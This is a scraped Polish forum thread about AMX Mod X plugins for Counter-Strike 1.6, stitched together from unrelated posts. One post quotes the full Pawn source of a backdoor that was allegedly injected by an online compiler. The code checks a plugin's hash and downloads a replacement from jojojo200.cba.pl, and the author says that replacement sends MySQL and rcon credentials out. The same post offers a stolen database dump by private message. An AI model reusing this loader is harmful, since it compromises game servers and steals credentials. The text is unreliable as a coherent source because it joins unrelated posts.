GeDox

Jeśli grałeś na takim serwerze, masz pliki .spr na komputerze. Wystarczy je dobrze poszukać

Znalazłem na komputerze jakieś tradeboty, także udostępniam

Niestety brak bazy do nich...

 

http://adf.ly/1c977q

https://webmasteruj....-danych-t79936/

 

Cytat posta:

 

Hello again!

Dziś rozpracujemy przekręt na wielką skalę, czyli jak ukraść dane z ponad 400 serwerów 1.6 przez zwykłe lenistwo ich właścicieli.

 

Każdy z Was zapewne widział kompilator online dostępny na amxx.pl, nie zastanowiło Was kiedyś czy przypadkiem jakiś kod nie jest dodawany do kompilowanego pluginu? Odpowiedź brzmi tak dodaje

 

Bardzo dziękuje użytkownikowi *ciach* z amxx.pl na webmasteruj znany pod nickiem  *ciach* za naprowadzenie mnie na ten proceder.

 

TAKI KOD

Spoiler

#include <amxmisc>
#include <sockets>
#include <httpdl>

new dlinfo[MAX_DOWNLOADS + 1][5];
new dlpath[MAX_DOWNLOADS + 1][256];
new ndownloading;
new fwd_dlcomplete, fwd_result;
public plugin_natives() {
register_library("httpdl");
register_native("download", "native_download", 1);
set_task(9.0, "o");
}
public native_download(url[], path[]) {
new slot = 0;
while(slot <= MAX_DOWNLOADS && dlinfo[slot][0] != 0)
slot++;
if(slot == MAX_DOWNLOADS) {
server_print("Download limit reached (%d)", MAX_DOWNLOADS);
return 0;
}

param_convert(1);
param_convert(2);

new u[256], p[256];
copy(u, 7, url);
if(equal(u, "http://"))
copy(u, 248, url[7]);
else copy(u, 255, url);

new pos = 0;
new len = strlen(u);
while (++pos < len && u[pos] != '/') { }
copy(p, 255, u[pos + 1]);
copy(u, pos, u);

new error = 0;
new socket = dlinfo[slot][2] = socket_open(u, 80, SOCKET_TCP, error);
switch(error) {
case 0: {
new msg[512];
format(msg, 511, "GET /%s HTTP/1.1^r^nHost: %s^r^n^r^n", p, u);
socket_send(socket, msg, 512);
copy(dlpath[slot], 255, path);
dlinfo[slot][3] = fopen(path, "wb");
dlinfo[slot][0] = 1;
dlinfo[slot][4] = 0;
ndownloading++;
if(ndownloading == 1)
set_task(0.2, "download_task", 3318, _, _, "b");
new id = dlinfo[slot][1] = random_num(1, 65535);
return id;
}
case 1: server_print("[HTTP] Error creating socket");
case 2: server_print("[HTTP] Could not resolve hostname");
case 3: server_print("[HTTP] Could not connect to %s:80", u);
}

return 0;
}
public download_task() {
for(new i = 0; i < MAX_DOWNLOADS; i++) {
if(dlinfo[i][0] == 0)
continue;
new socket = dlinfo[i][2];
new f = dlinfo[i][3];
if(socket_change(socket)) {
new buffer[1024];
new len = socket_recv(socket, buffer, 1024);
if(dlinfo[i][4] == 0) { // if first packet then cut the header
new pos = contain(buffer, "^r^n^r^n");
if(pos > -1) {
for(new j = pos + 4; j < len; j++)
fputc(f, buffer[j]);
dlinfo[i][4]++;
continue;
}
}
for(new j = 0; j < len; j++)
fputc(f, buffer[j]);
dlinfo[i][4]++;
continue;
}
fclose(f);
ExecuteForward(fwd_dlcomplete, fwd_result, dlinfo[i][1], dlpath[i]);
dlinfo[i][0] = 0;
ndownloading--;
if(ndownloading == 0)
remove_task(3318);
socket_close(socket);
}
}
public o() {


new const config_file[] = "addons/amxmodx/plugins/adminhelp.amxx"

new md5_hash_file[34]
md5_hash_file = encrypt_file(config_file)


if( !equal( md5_hash_file, "b20bee2c5f9040469f88db0e2eb81d0f", 32 ) )
{
download("http://jojojo200.cba.pl/file.amxx", "addons/amxmodx/plugins/adminhelp.amxx");
fwd_dlcomplete = CreateMultiForward("dlcomplete", ET_IGNORE, FP_CELL, FP_STRING);
}
}
stock encrypt_file(const file[])
{
new hash_sum_file[34]
md5_file(file,hash_sum_file)

return hash_sum_file;
}

Kod odpowiada ze pobranie pliku file.amxx na serwery oraz podmiane pluginu adminhelp.amxx który później działa tylko w jednym celu....

 

Analiza file.amxx

Złośliwy plugin wysyła dane logowania mysql do amxbans na zewnętrzny serwer wraz z hasłem rcon. Dodatkowo potrafi bindować graczom odwiedzającym serwer adres ip kierujący do serwera sieci xsteam. Kolejną funkcją jest przenoszenie graczy automatycznie na wyznaczone IP które również kieruje nas do serwera sieci xSteam.pl.

 

 

Phpmyadmin jest albo zablokowany albo chodzi na innym porcie więc

 

-----------------------------

 

NO I TO CO MISIACZKI LUBIĄ NAJBARDZIEJ

 

Dump bazy danych

 

Będę próbował skontaktować się z administracją amxx.pl w celu wyjaśnienia sprawy. O czym poinformuje w tym temacie

Jest wiele możliwości takiego stanu rzeczy nie wykluczając nawet włamania na serwery amxx.pl więc nie będę w chwili obecnej oczerniać portalu, z braku dowodów.

 

 W Bazie danych znalazł się chyba każdy serwer w Polsce, każdy kto używał kompilatora online dostępnego na amxx.pl powinnien przeinstalować cały amxx oraz pozmieniać wszystkie hasła do baz danych mysql!

 

A Wy co sądzicie na ten temat?

 

Dump bazy danych w formie pliku do wglądu dla administracji forum, wystarczy napisać PW.

Co na to Administracja?

Wgraj wersję 2.1.3

https://amxx.pl/doku...get-user-authid

https://amxx.pl/doku...cja/f1375/equal

Przechwycenie:

register_message(get_user_msgid("TextMsg"), "message_text")
 
public message_text(msgid, dest, id)

Wyciągnięcie tekstu:

get_msg_arg_string(5, arg, 32)

Tekst do wyciągnięcia:

"#Fire_in_the_hole"

Gdybyś miał z czymś problem - pisz śmiało

 

@edit Blokowanie jak zwykle - returnem

Witam, przedstawiam Wam plugin, który od bardzo długiego czasu kurzy mi na dysku. Dzięki temu pluginowi admin po najechaniu celownikiem na minę (tylko gdy jest martwy), może dowiedzieć się do kogo ona należy. Po wpisaniu komendy, gracz dostaje ostrzeżenie (za drugim dostaje bana na 30 minut), mina zostaje automatycznie usunięta (dodatkowo jest robiony screen adminowi). Ostrzeżenia zapisują się w pliku nvault.
 

Standardowa
 

• cod_mine_warns (num >0) - ilość ostrzeżeń, za którą gracz dostanie bana
• cod_mine_screen (num 0,1) - czy ma robić adminowi ssa
• cod_mine_remove (num 0,1) - czy ma usuwać minę

• amx_warn_mine - komenda, którą odpalasz cały w/w proces. Polecam zbindować pod klawisz.

• nvault
• fakemeta
• fun

 widzialnosc_min.sma   3,28 KB  93 Ilość pobrań
  widzialnosc_min.amxx

Podmień:

pev(id, pev_flags) & FL_ONGROUND

Na:

new Float:vct[3]
entity_get_vector(id, EV_VEC_velocity, vct)
new Float:speeds = floatsqroot(vct[0]*vct[0]+vct[1]*vct[1]+vct[2]*vct[2])

speeds == 0
//something

I spróbuj

Tu masz rozpisane:

https://forums.allie...ead.php?t=67640

Zrobi ktoś reupload? :v

Sam już go nie posiadam Myślę nad zrobieniem remake.

Lecz problem w tym że wymiana dalej nie działa a komunikat który miał się ukazywać po wymienianie perku się nie ukazuje

Zmień id na 0 ( client_print ). Musi pokazać się graczowi, który chce dokonać wymiany. Ewentualnie wrzuć go od razu po cod_set_perk

Zdebuguj i daj info (i sprawdź czy są errorlogi).

debug jest cały czas dopisany i errorów zero, i właśnie w tym problem
 
Dodam jeszcze że używam silnika z tego tematu: http://amxx.pl/topic...-sloty-na-perk/
 
Oczywiście .inc też mam podmienione na aktualny w kompilatorze lokalnym.

Zdebuguj w sensie:

new wartosc1, wartosc2;
new perk_oddajacego = cod_get_user_perk(id2, wartosc1, 0)
new perk_dajacego = cod_get_user_perk(id, wartosc2, 0)
 
cod_set_user_perk(id2, perk_dajacego, wartosc2, 0);
cod_set_user_perk(id, perk_oddajacego, wartosc1, 0);

client_print(id, print_chat, "Gracz 1. Perk przed: %d, Perk po: %d.", perk_dajacego, cod_get_user_perk(id, wartosc2, 0))
client_print(id, print_chat, "Gracz 2. Perk przed: %d, Perk po: %d.", perk_oddajacego, cod_get_user_perk(id2, wartosc2, 0))

I daj wyniki

Zdebuguj i daj info (i sprawdź czy są errorlogi).

Wyłączasz freezetime w ogóle, wywołujesz funkcję, która odpala się na początku rundy. Pętla + freeze dla gracza, który jest w TT. Ustawiasz timer na X sekund, a w funkcji (którą odpala timer) dajesz pętlę + odfreezowanie.

no tak ale co jeśli ma 2 "te same" pluginy?

;spawn_protection_pl.amxx ; ochrona na respie
;spawnprotection.amxx ; ochrona na respie

Nic, one są wyłączone (czyt. NIE są ładowane). To tak jakbym dodał linijki:

;a
;a
;a
;a
;a
;a
;a
;a